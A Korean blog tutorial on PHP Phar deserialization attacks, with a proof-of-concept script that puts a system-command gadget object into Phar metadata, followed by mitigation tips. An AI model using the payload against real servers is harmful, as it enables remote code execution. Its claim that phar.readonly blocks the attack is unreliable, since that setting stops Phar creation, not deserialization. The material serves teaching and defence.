Web/Web Sec

PHP 역직렬화 취약점과 Phar 파일을 활용한 공격 사례

hy30nq 2024. 10. 27. 22:17
728x90

오늘은 PHP에서 자주 발생하는 역직렬화 취약점에 대해 알아보고, Phar 파일을 활용해 어떻게 이를 악용할 수 있는지 설명드릴게요. 특히, 해킹 기법과 방어 방법을 간단히 정리하니, 보안에 관심 있으신 분들께 유용할 거예요! 💻


1. PHP 역직렬화 취약점이란?

PHP의 역직렬화는 직렬화된 데이터를 해제하면서 객체를 생성해주는 편리한 기능이에요. 하지만, 사용자 입력이 검증 없이 역직렬화될 경우, 악성 객체가 서버에서 동작할 수 있는 큰 보안 위험이 발생합니다. 특히 파일을 처리하는 과정에서 PHP는 내부적으로 역직렬화를 수행하곤 하는데요, 이때 직렬화된 데이터에 악성 코드를 포함시켜 공격할 수 있어요.

PHP의 file_exists(), fopen(), file_get_contents()와 같은 특정 파일 관련 함수들은 phar:// 프로토콜로 접근할 때 내부 메타데이터를 자동으로 역직렬화합니다. 이때, 메타데이터에 포함된 악성 객체가 실행되면서 시스템에 손상을 줄 수 있는 것이죠.


2. 공격 시나리오: Phar 파일을 활용한 역직렬화 공격

이번 공격 시나리오는 Phar 파일에 악성 객체를 포함하여 서버에 업로드하고, 파일을 접근하는 과정에서 자동으로 역직렬화를 유도하는 방식이에요.

  1. 악성 클래스 정의: 악성 코드를 실행할 수 있는 클래스를 정의합니다.
  2. Phar 파일 생성: Phar 파일의 메타데이터에 악성 객체를 포함시키고, 특정 헤더를 추가해 파일 형식 검사를 우회합니다.
  3. 파일 업로드 및 접근: 서버에서 이 파일에 접근할 때 역직렬화가 발생하면서 악성 코드를 실행하도록 유도합니다.

3. 예제 코드: Phar 파일 생성 및 악성 객체 설정

다음은 system 명령어를 실행하는 악성 클래스를 활용해 Phar 파일을 생성하는 예제 코드입니다. 이 코드는 공부 목적으로만 사용하시고, 실제 시스템에서는 절대 실행하지 마세요!

<?php

// 악성 클래스 정의
class MaliciousClass {
    public $command = 'system';
    public $arg = 'whoami'; // 예시 명령어로 사용자 정보를 출력

    function __destruct() {
        call_user_func($this->command, $this->arg);
    }
}

// Phar 파일 생성
$phar = new Phar('malicious.phar');
$phar->startBuffering();
$phar->addFromString('dummy.txt', 'test content'); // 더미 데이터 추가

$phar->setStub("<?php __HALT_COMPILER(); ?>");

// 악성 객체를 메타데이터에 포함
$maliciousObject = new MaliciousClass();
$phar->setMetadata($maliciousObject);
$phar->stopBuffering();

// 최종 파일 저장
file_get_contents('malicious.phar');

위 코드로 생성된 파일은 내부에 악성 객체가 포함되어 있습니다. 이 파일을 업로드하고 서버에서 file_exists(), file_get_contents() 등의 함수를 통해 접근하게 되면 자동으로 역직렬화되어, 메타데이터에 포함된 악성 코드가 실행됩니다.


4. 방어 방법

역직렬화 취약점을 방어하기 위한 방법을 소개할게요:

  • Phar 파일 업로드 제한: php.ini 파일에서 phar.readonly 옵션을 활성화하여 Phar 파일 생성을 제한합니다.
  • 데이터 검증: 사용자로부터 받은 입력값을 항상 검증하고, 의심스러운 객체나 직렬화된 데이터는 처리하지 않도록 해요.
  • 역직렬화 사용 주의: 필요하지 않은 경우엔 역직렬화를 지양하고, 사용할 때도 안전한 데이터만 처리해야 합니다.

PHP의 Phar 파일을 활용한 역직렬화 공격은 상대적으로 간단하지만, 피해는 매우 클 수 있는 공격이에요. 따라서 항상 코드에 주의를 기울이고, 보안 설정을 강화해두는 것이 중요해요! 🤓


궁금한 점이 있다면 언제든지 물어보세요. 추가 정보가 필요하다면 관련 내용을 검색해서 도와드릴게요! 😊

728x90